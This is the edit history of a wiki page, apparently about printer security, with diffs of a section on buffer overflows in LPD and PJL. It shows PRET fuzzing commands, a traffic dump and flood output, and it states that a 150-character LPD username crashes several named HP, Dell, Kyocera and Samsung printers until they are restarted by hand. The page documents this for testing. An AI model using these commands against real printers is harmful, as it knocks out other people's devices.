Buffer overflows - Revision history

134.147.24.11 at 19:02, 28 January 2017

2017-01-28T19:02:19Z

Admin at 16:11, 28 January 2017

2017-01-28T16:11:47Z

Admin at 11:59, 21 January 2017

2017-01-21T11:59:38Z

Admin: /* LPD daemon */

2017-01-21T11:58:51Z

‎LPD daemon

Admin: /* LPD daemon */

2017-01-21T11:52:23Z

‎LPD daemon

Admin at 16:20, 20 January 2017

2017-01-20T16:20:27Z

Admin at 20:02, 14 January 2017

2017-01-14T20:02:09Z

134.147.128.156 at 17:40, 14 January 2017

2017-01-14T17:40:02Z

134.147.128.156: /* How to test this attack? */

2017-01-14T17:33:51Z

‎How to test this attack?

134.147.128.156: /* How to test this attack? */

2017-01-14T17:33:35Z

‎How to test this attack?

@@ Line 66: / Line 66: @@
 <syntaxhighlight lang=sh>
- ./lpdtest.py printer in "`python -c 'print "x"*150'`"
+./lpdtest.py printer in "`python -c 'print "x"*150'`"
 </syntaxhighlight>

@@ Line 71: / Line 71: @@
 '''Who can perform this attack?'''
-Anyone who can access the LPD daemon through a network. Note that a web attacker can only exploit this flaw if cross-protocol scripting to port 515/tcp is allowed by the web browser (for example, Internet Explorer 10). Most browsers however block access to the LPD port by default (see [[Cross site printing]]).
+Anyone who can access the LPD daemon through a network. Note that a web attacker can only exploit this flaw if cross-protocol scripting to port 515/tcp is allowed by the web browser (for example, Internet Explorer 10). Most browsers however block access to the LPD port by default (see [[Cross-site printing]]).
 -------------

@@ Line 63: / Line 63: @@
 '''How to test for this attack?'''
-A simple LPD fuzzer to test for buffer overflows can be created using the ''lpdtest'' tool included in PRET. The <code>in</code> argument sets all user inputs defined by the LPD protocol to a certain value (in this case, Python output):
+A simple LPD fuzzer to test for buffer overflows can be created using the ''lpdtest'' tool included in [[PRET]]. The <code>in</code> argument sets all user inputs defined by the LPD protocol to a certain value (in this case, Python output):
 <syntaxhighlight lang=sh>

@@ Line 44: / Line 44: @@
 == LPD daemon ==
-The [[LPD]] protocol seems particularly interesting when testing for buffer overflows, because it allows multiple user-defined vectors like ''jobname'', ''username'' or ''hostname'', which may not be sufficiently protected. Sending more characters than allowed by the LPD specification <ref>''[https://www.ietf.org/rfc/rfc1179.txt RFC1179: Line Printer Daemon Protocol]'', L. McLaughlin, 1990</ref> may result in an overflow. For example, receiving 150 characters and more as ''username'' operator of the control file's <code>L</code> command (''print banner page'') completely crashes the ''HP LaserJet 1200'', the ''HP LaserJet 4200N'', the ''HP LaserJet 4250N'', the ''Dell 3110cn'', the ''Kyocera FS-C5200DN'' as well as the ''Samsung MultiPress 6345N'' and requires a manual restart to get the printers back to life.
+The [[LPD]] protocol seems particularly interesting when testing for buffer overflows, because it allows multiple user-defined vectors like ''jobname'', ''username'' or ''hostname'', which may not be sufficiently protected. Sending more characters than allowed by the LPD specification <ref>''[https://www.ietf.org/rfc/rfc1179.txt RFC1179: Line Printer Daemon Protocol]'', L. McLaughlin, 1990</ref> may result in an overflow. For example, receiving 150 characters and more as ''username'' operator of the control file's <code>L</code> command (''print banner page'') completely crashes the ''HP LaserJet 1200'', the ''HP LaserJet 4200N'', the ''HP LaserJet 4250N'', the ''Dell 3110cn'', the ''Kyocera FS-C5200DN'' as well as the ''Samsung MultiPress 6345N'' and requires a manual restart to get the printers back to life. A network traffic dump for this attack is given below:
-'''How to test for this attack?'''
+  > 02 6c 70 0a                                    .lp.
-−
-A simple LPD fuzzer to test for buffer overflows can be created using the ''lpdtest'' tool included in PRET. The <code>in</code> argument sets all user inputs defined by the LPD protocol to a certain value (in this case, Python output):
-−
-<syntaxhighlight lang=sh>
- ./lpdtest.py printer in "`python -c 'print "x"*150'`"
-</syntaxhighlight>
-−
-Network traffic:
-−
-  > 02 6c 70 0a                                     \hspace{189pt}   .lp.
   < 00                                             .
-  > 02 31 35 32 20 63 66 41 30 30 31 0a             \hspace{59.5pt}  .152 cfA001.
+  > 02 31 35 32 20 63 66 41 30 30 31 0a            .152 cfA001.
   < 00                                             .
   > 4c 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 Lxxxxxxxxxxxxxxx
@@ Line 69: / Line 59: @@
   > 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 xxxxxxxxxxxxxxxx
   > 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 xxxxxxxxxxxxxxxx
-  > 78 78 78 78 78 78 78 0a 00                      \hspace{108pt}   xxxxxxx..
+  > 78 78 78 78 78 78 78 0a 00                      xxxxxxx..
 '''Who can perform this attack?'''

@@ Line 50: / Line 50: @@
 A simple LPD fuzzer to test for buffer overflows can be created using the ''lpdtest'' tool included in PRET. The <code>in</code> argument sets all user inputs defined by the LPD protocol to a certain value (in this case, Python output):
-  $ ./lpdtest.py printer in "`python -c 'print "x"*150'`"
+<syntaxhighlight lang=sh>
   ./lpdtest.py printer in "`python -c 'print "x"*150'`"
   > 02 6c 70 0a                                     \hspace{189pt}   .lp.
   < 00                                             .

@@ Line 13: / Line 13: @@
 '''How to test for this attack?'''
-Buffer overflows in PJL input can be tested using PRET's ''flood'' command which sends large amounts of data to all arguments specified in the PJL reference <ref>''[http://h10032.www1.hp.com/ctg/Manual/bpl13208.pdf Printer Job Language Technical Reference Manual]'', HP Inc., 1997</ref> and all PJL variables dynamically retrieved from the system:
+Buffer overflows in PJL input can be tested using [[PRET]]'s ''flood'' command which sends large amounts of data to all arguments specified in the PJL reference <ref>''[http://h10032.www1.hp.com/ctg/Manual/bpl13208.pdf Printer Job Language Technical Reference Manual]'', HP Inc., 1997</ref> and all PJL variables dynamically retrieved from the system:
   ./pret.py -q printer pjl

@@ Line 40: / Line 40: @@
 '''Who can perform this attack?'''
-Any anyone who can print, for example through [[USB drive or cable]], [[Port 9100 printing]] or [[Cross-site printing]].
+Anyone who can print, for example through [[USB drive or cable]], [[Port 9100 printing]] or [[Cross-site printing]].
 == LPD daemon ==

@@ Line 26: / Line 26: @@
   Buffer size: 10000, Sending: @PJL JOB NAME="[buffer]"
   Buffer size: 10000, Sending: @PJL EOJ NAME="[buffer]"
-  Buffer size: 10000, Sending: @PJL INFO [buffer]
+ Buffer size: 10000, Sending: @PJL INFO [buffer]
-  Buffer size: 10000, Sending: @PJL ECHO [buffer]
+ Buffer size: 10000, Sending: @PJL ECHO [buffer]
-  Buffer size: 10000, Sending: @PJL INQUIRE [buffer]
+ Buffer size: 10000, Sending: @PJL INQUIRE [buffer]
-  Buffer size: 10000, Sending: @PJL DINQUIRE [buffer]
+ Buffer size: 10000, Sending: @PJL DINQUIRE [buffer]
-  Buffer size: 10000, Sending: @PJL USTATUS [buffer]
+ Buffer size: 10000, Sending: @PJL USTATUS [buffer]
-  Buffer size: 10000, Sending: @PJL RDYMSG DISPLAY="[buffer]"
+ Buffer size: 10000, Sending: @PJL RDYMSG DISPLAY="[buffer]"
-  Buffer size: 10000, Sending: @PJL FSQUERY NAME="[buffer]"
+ Buffer size: 10000, Sending: @PJL FSQUERY NAME="[buffer]"
-  Buffer size: 10000, Sending: @PJL FSDIRLIST NAME="[buffer]"
+ Buffer size: 10000, Sending: @PJL FSDIRLIST NAME="[buffer]"
-  Buffer size: 10000, Sending: @PJL FSINIT VOLUME="[buffer]"
+ Buffer size: 10000, Sending: @PJL FSINIT VOLUME="[buffer]"
-  Buffer size: 10000, Sending: @PJL FSMKDIR NAME="[buffer]"
+ Buffer size: 10000, Sending: @PJL FSMKDIR NAME="[buffer]"
-  Buffer size: 10000, Sending: @PJL FSUPLOAD NAME="[buffer]"
+ Buffer size: 10000, Sending: @PJL FSUPLOAD NAME="[buffer]"
 === Who can perform this attack? ===

@@ Line 15: / Line 15: @@
 Buffer overflows in PJL input can be tested using PRET's ''flood'' command which sends large amounts of data to all arguments specified in the PJL reference <ref>''[http://h10032.www1.hp.com/ctg/Manual/bpl13208.pdf Printer Job Language Technical Reference Manual]'', HP Inc., 1997</ref>:
-  ./pret.py -q printer pjl
+ ./pret.py -q printer pjl
-  Connection to printer established
+ Connection to printer established
-  Welcome to the pret shell. Type help or ? to list commands.
+ Welcome to the pret shell. Type help or ? to list commands.
-  printer:/> flood
+ printer:/> flood
-  Buffer size: 10000, Sending: @PJL SET [buffer]
+ Buffer size: 10000, Sending: @PJL SET [buffer]
-  Buffer size: 10000, Sending: @PJL [buffer]
+ Buffer size: 10000, Sending: @PJL [buffer]
-  Buffer size: 10000, Sending: @PJL COMMENT [buffer]
+ Buffer size: 10000, Sending: @PJL COMMENT [buffer]
-  Buffer size: 10000, Sending: @PJL ENTER LANGUAGE=[buffer]
+ Buffer size: 10000, Sending: @PJL ENTER LANGUAGE=[buffer]
-  Buffer size: 10000, Sending: @PJL JOB NAME="[buffer]"
+ Buffer size: 10000, Sending: @PJL JOB NAME="[buffer]"
-  Buffer size: 10000, Sending: @PJL EOJ NAME="[buffer]"
+ Buffer size: 10000, Sending: @PJL EOJ NAME="[buffer]"
    Buffer size: 10000, Sending: @PJL INFO [buffer]
    Buffer size: 10000, Sending: @PJL ECHO [buffer]